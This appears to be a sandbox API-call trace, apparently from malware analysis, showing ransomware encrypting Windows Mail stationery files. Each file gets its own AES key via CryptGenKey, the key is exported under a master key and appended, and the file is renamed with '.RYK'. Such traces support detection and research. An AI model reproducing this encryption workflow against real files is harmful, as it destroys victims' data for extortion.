	[0238.015] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2752
	os_tid = 0x302c

	[0238.017] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", dwFileAttributes=0x80) returned 0
	[0238.018] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.018] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.018] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2753
	os_tid = 0x3030

	[0238.020] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", dwFileAttributes=0x80) returned 1
	[0244.825] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x738
	[0244.826] GetFileSizeEx (in: hFile=0x738, lpFileSize=0xad9f978 | out: lpFileSize=0xad9f978*=232) returned 1
	[0244.826] GetFileSizeEx (in: hFile=0x738, lpFileSize=0xad9f988 | out: lpFileSize=0xad9f988*=232) returned 1
	[0244.826] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xad9f958 | out: phKey=0xad9f958*=0x2b8ff0) returned 1
	[0244.827] SetFilePointer (in: hFile=0x738, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0244.827] ReadFile (in: hFile=0x738, lpBuffer=0x4390000, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0xad9f964, lpOverlapped=0x0 | out: lpBuffer=0x4390000*, lpNumberOfBytesRead=0xad9f964*=0xe8, lpOverlapped=0x0) returned 1
	[0245.959] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xad9f960*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xad9f960*=0xf4250) returned 1
	[0245.959] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4390000*, pdwDataLen=0xad9f968*=0xe8, dwBufLen=0xf4250 | out: pbData=0x4390000*, pdwDataLen=0xad9f968*=0xf0) returned 1
	[0245.959] SetFilePointer (in: hFile=0x738, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.959] WriteFile (in: hFile=0x738, lpBuffer=0x4390000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xad9f964, lpOverlapped=0x0 | out: lpBuffer=0x4390000*, lpNumberOfBytesWritten=0xad9f964*=0xf0, lpOverlapped=0x0) returned 1
	[0245.959] WriteFile (in: hFile=0x738, lpBuffer=0xad9f990*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xad9f970, lpOverlapped=0x0 | out: lpBuffer=0xad9f990*, lpNumberOfBytesWritten=0xad9f970*=0x6, lpOverlapped=0x0) returned 1
	[0245.960] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xad9f980 | out: pbData=0x0*, pdwDataLen=0xad9f980*=0x10c) returned 1
	[0245.960] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xad9f9f0, pdwDataLen=0xad9f980 | out: pbData=0xad9f9f0*, pdwDataLen=0xad9f980*=0x10c) returned 1
	[0245.960] WriteFile (in: hFile=0x738, lpBuffer=0xad9f9f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xad9f970, lpOverlapped=0x0 | out: lpBuffer=0xad9f9f0*, lpNumberOfBytesWritten=0xad9f970*=0x10c, lpOverlapped=0x0) returned 1
	[0245.960] CloseHandle (hObject=0x738) returned 1
	[0248.558] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0248.559] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2754
	os_tid = 0x3034

	[0238.021] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", dwFileAttributes=0x80) returned 1
	[0244.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840
	[0244.832] GetFileSizeEx (in: hFile=0x840, lpFileSize=0xb07f638 | out: lpFileSize=0xb07f638*=5115) returned 1
	[0244.832] GetFileSizeEx (in: hFile=0x840, lpFileSize=0xb07f648 | out: lpFileSize=0xb07f648*=5115) returned 1
	[0244.832] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x12d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0244.832] ReadFile (in: hFile=0x840, lpBuffer=0xb07f690, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xb07f600, lpOverlapped=0x0 | out: lpBuffer=0xb07f690*, lpNumberOfBytesRead=0xb07f600*=0x19, lpOverlapped=0x0) returned 1
	[0245.160] SetFilePointer (in: hFile=0x840, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.160] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xb07f618 | out: phKey=0xb07f618*=0x2b9450) returned 1
	[0245.160] SetFilePointer (in: hFile=0x840, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.160] ReadFile (in: hFile=0x840, lpBuffer=0x4490000, nNumberOfBytesToRead=0x13fb, lpNumberOfBytesRead=0xb07f624, lpOverlapped=0x0 | out: lpBuffer=0x4490000*, lpNumberOfBytesRead=0xb07f624*=0x13fb, lpOverlapped=0x0) returned 1
	[0247.922] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xb07f620*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xb07f620*=0xf4250) returned 1
	[0247.922] CryptEncrypt (in: hKey=0x2b9450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4490000*, pdwDataLen=0xb07f628*=0x13fb, dwBufLen=0xf4250 | out: pbData=0x4490000*, pdwDataLen=0xb07f628*=0x1400) returned 1
	[0247.922] SetFilePointer (in: hFile=0x840, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.922] WriteFile (in: hFile=0x840, lpBuffer=0x4490000*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0xb07f624, lpOverlapped=0x0 | out: lpBuffer=0x4490000*, lpNumberOfBytesWritten=0xb07f624*=0x1400, lpOverlapped=0x0) returned 1
	[0247.923] WriteFile (in: hFile=0x840, lpBuffer=0xb07f650*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xb07f630, lpOverlapped=0x0 | out: lpBuffer=0xb07f650*, lpNumberOfBytesWritten=0xb07f630*=0x6, lpOverlapped=0x0) returned 1
	[0247.923] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xb07f640 | out: pbData=0x0*, pdwDataLen=0xb07f640*=0x10c) returned 1
	[0247.923] CryptExportKey (in: hKey=0x2b9450, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xb07f6b0, pdwDataLen=0xb07f640 | out: pbData=0xb07f6b0*, pdwDataLen=0xb07f640*=0x10c) returned 1
	[0247.923] WriteFile (in: hFile=0x840, lpBuffer=0xb07f6b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xb07f630, lpOverlapped=0x0 | out: lpBuffer=0xb07f6b0*, lpNumberOfBytesWritten=0xb07f630*=0x10c, lpOverlapped=0x0) returned 1
	[0247.923] CloseHandle (hObject=0x840) returned 1
	[0249.040] CryptDestroyKey (hKey=0x2b9450) returned 1
	[0249.041] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2755
	os_tid = 0x3038

	[0238.059] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", dwFileAttributes=0x80) returned 1
	[0244.658] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x70c
	[0244.659] GetFileSizeEx (in: hFile=0x70c, lpFileSize=0xb26fc18 | out: lpFileSize=0xb26fc18*=233) returned 1
	[0244.659] GetFileSizeEx (in: hFile=0x70c, lpFileSize=0xb26fc28 | out: lpFileSize=0xb26fc28*=233) returned 1
	[0244.659] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xb26fbf8 | out: phKey=0xb26fbf8*=0x2b91b0) returned 1
	[0244.659] SetFilePointer (in: hFile=0x70c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0244.659] ReadFile (in: hFile=0x70c, lpBuffer=0x4590000, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0xb26fc04, lpOverlapped=0x0 | out: lpBuffer=0x4590000*, lpNumberOfBytesRead=0xb26fc04*=0xe9, lpOverlapped=0x0) returned 1
	[0245.953] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xb26fc00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xb26fc00*=0xf4250) returned 1
	[0245.953] CryptEncrypt (in: hKey=0x2b91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4590000*, pdwDataLen=0xb26fc08*=0xe9, dwBufLen=0xf4250 | out: pbData=0x4590000*, pdwDataLen=0xb26fc08*=0xf0) returned 1
	[0245.953] SetFilePointer (in: hFile=0x70c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.953] WriteFile (in: hFile=0x70c, lpBuffer=0x4590000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xb26fc04, lpOverlapped=0x0 | out: lpBuffer=0x4590000*, lpNumberOfBytesWritten=0xb26fc04*=0xf0, lpOverlapped=0x0) returned 1
	[0245.954] WriteFile (in: hFile=0x70c, lpBuffer=0xb26fc30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xb26fc10, lpOverlapped=0x0 | out: lpBuffer=0xb26fc30*, lpNumberOfBytesWritten=0xb26fc10*=0x6, lpOverlapped=0x0) returned 1
	[0245.954] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xb26fc20 | out: pbData=0x0*, pdwDataLen=0xb26fc20*=0x10c) returned 1
	[0245.954] CryptExportKey (in: hKey=0x2b91b0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xb26fc90, pdwDataLen=0xb26fc20 | out: pbData=0xb26fc90*, pdwDataLen=0xb26fc20*=0x10c) returned 1
	[0245.954] WriteFile (in: hFile=0x70c, lpBuffer=0xb26fc90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xb26fc10, lpOverlapped=0x0 | out: lpBuffer=0xb26fc90*, lpNumberOfBytesWritten=0xb26fc10*=0x10c, lpOverlapped=0x0) returned 1
	[0245.954] CloseHandle (hObject=0x70c) returned 1
	[0248.078] CryptDestroyKey (hKey=0x2b91b0) returned 1
	[0248.079] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2756
	os_tid = 0x303c

	[0237.996] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", dwFileAttributes=0x80) returned 1
	[0244.827] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c
	[0244.828] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0xb39f778 | out: lpFileSize=0xb39f778*=1920) returned 1
	[0244.828] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0xb39f788 | out: lpFileSize=0xb39f788*=1920) returned 1
	[0244.828] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x65e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0244.828] ReadFile (in: hFile=0x83c, lpBuffer=0xb39f7d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xb39f740, lpOverlapped=0x0 | out: lpBuffer=0xb39f7d0*, lpNumberOfBytesRead=0xb39f740*=0x19, lpOverlapped=0x0) returned 1
	[0245.159] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.159] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xb39f758 | out: phKey=0xb39f758*=0x2b8ea0) returned 1
	[0245.159] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.159] ReadFile (in: hFile=0x83c, lpBuffer=0x4690000, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0xb39f764, lpOverlapped=0x0 | out: lpBuffer=0x4690000*, lpNumberOfBytesRead=0xb39f764*=0x780, lpOverlapped=0x0) returned 1
	[0245.665] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xb39f760*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xb39f760*=0xf4250) returned 1
	[0245.665] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4690000*, pdwDataLen=0xb39f768*=0x780, dwBufLen=0xf4250 | out: pbData=0x4690000*, pdwDataLen=0xb39f768*=0x790) returned 1
	[0245.665] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.665] WriteFile (in: hFile=0x83c, lpBuffer=0x4690000*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0xb39f764, lpOverlapped=0x0 | out: lpBuffer=0x4690000*, lpNumberOfBytesWritten=0xb39f764*=0x790, lpOverlapped=0x0) returned 1
	[0247.909] WriteFile (in: hFile=0x83c, lpBuffer=0xb39f790*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xb39f770, lpOverlapped=0x0 | out: lpBuffer=0xb39f790*, lpNumberOfBytesWritten=0xb39f770*=0x6, lpOverlapped=0x0) returned 1
	[0247.909] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xb39f780 | out: pbData=0x0*, pdwDataLen=0xb39f780*=0x10c) returned 1
	[0247.910] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xb39f7f0, pdwDataLen=0xb39f780 | out: pbData=0xb39f7f0*, pdwDataLen=0xb39f780*=0x10c) returned 1
	[0247.910] WriteFile (in: hFile=0x83c, lpBuffer=0xb39f7f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xb39f770, lpOverlapped=0x0 | out: lpBuffer=0xb39f7f0*, lpNumberOfBytesWritten=0xb39f770*=0x10c, lpOverlapped=0x0) returned 1
	[0247.910] CloseHandle (hObject=0x83c) returned 1
	[0249.025] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0249.026] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2774
	os_tid = 0x308c

	[0237.997] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", dwFileAttributes=0x80) returned 0
	[0237.997] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.997] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2775
	os_tid = 0x3090

	[0237.999] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", dwFileAttributes=0x80) returned 0
	[0237.999] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
